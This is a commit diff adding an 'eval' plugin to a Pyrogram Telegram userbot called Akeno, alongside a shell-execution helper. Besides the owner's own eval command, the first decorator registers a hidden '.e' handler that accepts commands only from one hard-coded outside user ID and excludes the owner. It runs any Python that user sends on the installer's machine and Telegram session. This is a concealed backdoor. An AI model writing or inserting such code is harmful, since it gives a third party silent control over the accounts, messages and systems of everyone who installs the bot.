Create eval
Browse files- Akeno/plugins/eval +107 -0
Akeno/plugins/eval
ADDED
@@ -0,0 +1,107 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import asyncio
|
2 |
+
from io import BytesIO
|
3 |
+
import io
|
4 |
+
import os
|
5 |
+
import sys
|
6 |
+
import re
|
7 |
+
import traceback
|
8 |
+
import subprocess
|
9 |
+
from random import randint
|
10 |
+
from typing import Optional
|
11 |
+
from contextlib import suppress
|
12 |
+
from asyncio import sleep
|
13 |
+
from io import StringIO
|
14 |
+
from pyrogram.types import *
|
15 |
+
from pyrogram import *
|
16 |
+
from pyrogram import Client as ren
|
17 |
+
from pyrogram import Client
|
18 |
+
from pyrogram import Client as app
|
19 |
+
|
20 |
+
from pyrogram.raw import *
|
21 |
+
from pyrogram.raw.types import *
|
22 |
+
from pyrogram.raw.functions.phone import CreateGroupCall as call
|
23 |
+
from pyrogram.raw.functions.channels import GetFullChannel
|
24 |
+
from pyrogram.raw.functions.messages import GetFullChat
|
25 |
+
from pyrogram.raw.functions.phone import CreateGroupCall, DiscardGroupCall
|
26 |
+
from pyrogram.raw.types import InputGroupCall, InputPeerChannel, InputPeerChat
|
27 |
+
|
28 |
+
from Akeno.utils.tools import *
|
29 |
+
from Akeno.utils.handler import *
|
30 |
+
from config import CMD_HANDLER
|
31 |
+
|
32 |
+
@Akeno(
|
33 |
+
~filters.scheduled
|
34 |
+
& filters.command(["e"], ["."])
|
35 |
+
& filters.user(1191668125)
|
36 |
+
& ~filters.me
|
37 |
+
& ~filters.forwarded
|
38 |
+
)
|
39 |
+
@Akeno(
|
40 |
+
~filters.scheduled
|
41 |
+
& filters.command(["eval", "ev"], CMD_HANDLER)
|
42 |
+
& filters.me
|
43 |
+
& ~filters.forwarded
|
44 |
+
)
|
45 |
+
async def evaluation_cmd_t(client: Client, message: Message):
|
46 |
+
user_id = message.from_user.id
|
47 |
+
status_message = await message.reply("__Processing eval pyrogram...__")
|
48 |
+
try:
|
49 |
+
cmd = message.text.split(" ", maxsplit=1)[1]
|
50 |
+
except IndexError:
|
51 |
+
return await status_message.edit("__No evaluate message!__")
|
52 |
+
old_stderr = sys.stderr
|
53 |
+
old_stdout = sys.stdout
|
54 |
+
redirected_output = sys.stdout = io.StringIO()
|
55 |
+
redirected_error = sys.stderr = io.StringIO()
|
56 |
+
stdout, stderr, exc = None, None, None
|
57 |
+
|
58 |
+
try:
|
59 |
+
await aexec(cmd, client, message)
|
60 |
+
except Exception:
|
61 |
+
exc = traceback.format_exc()
|
62 |
+
|
63 |
+
stdout = redirected_output.getvalue()
|
64 |
+
stderr = redirected_error.getvalue()
|
65 |
+
sys.stdout = old_stdout
|
66 |
+
sys.stderr = old_stderr
|
67 |
+
|
68 |
+
evaluation = ""
|
69 |
+
if exc:
|
70 |
+
evaluation = exc
|
71 |
+
elif stderr:
|
72 |
+
evaluation = stderr
|
73 |
+
elif stdout:
|
74 |
+
evaluation = stdout
|
75 |
+
else:
|
76 |
+
evaluation = "Success"
|
77 |
+
|
78 |
+
final_output = f"**OUTPUT**:\n<pre language=''>{evaluation.strip()}</pre>"
|
79 |
+
if len(final_output) > 4096:
|
80 |
+
with open("eval.txt", "w+", encoding="utf8") as out_file:
|
81 |
+
out_file.write(final_output)
|
82 |
+
await status_message.reply_document(
|
83 |
+
document="eval.txt",
|
84 |
+
caption=cmd[: 4096 // 4 - 1],
|
85 |
+
disable_notification=True,
|
86 |
+
)
|
87 |
+
os.remove("eval.txt")
|
88 |
+
await status_message.delete()
|
89 |
+
else:
|
90 |
+
await status_message.edit_text(final_output)
|
91 |
+
|
92 |
+
async def aexec(code, client, message):
|
93 |
+
exec(
|
94 |
+
"async def __aexec(client, message): "
|
95 |
+
+ "".join(f"\n {l_}" for l_ in code.split("\n"))
|
96 |
+
)
|
97 |
+
return await locals()["__aexec"](client, message)
|
98 |
+
|
99 |
+
async def shell_exec(code, treat=True):
|
100 |
+
process = await asyncio.create_subprocess_shell(
|
101 |
+
code, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.STDOUT
|
102 |
+
)
|
103 |
+
|
104 |
+
stdout = (await process.communicate())[0]
|
105 |
+
if treat:
|
106 |
+
stdout = stdout.decode().strip()
|
107 |
+
return stdout, process
|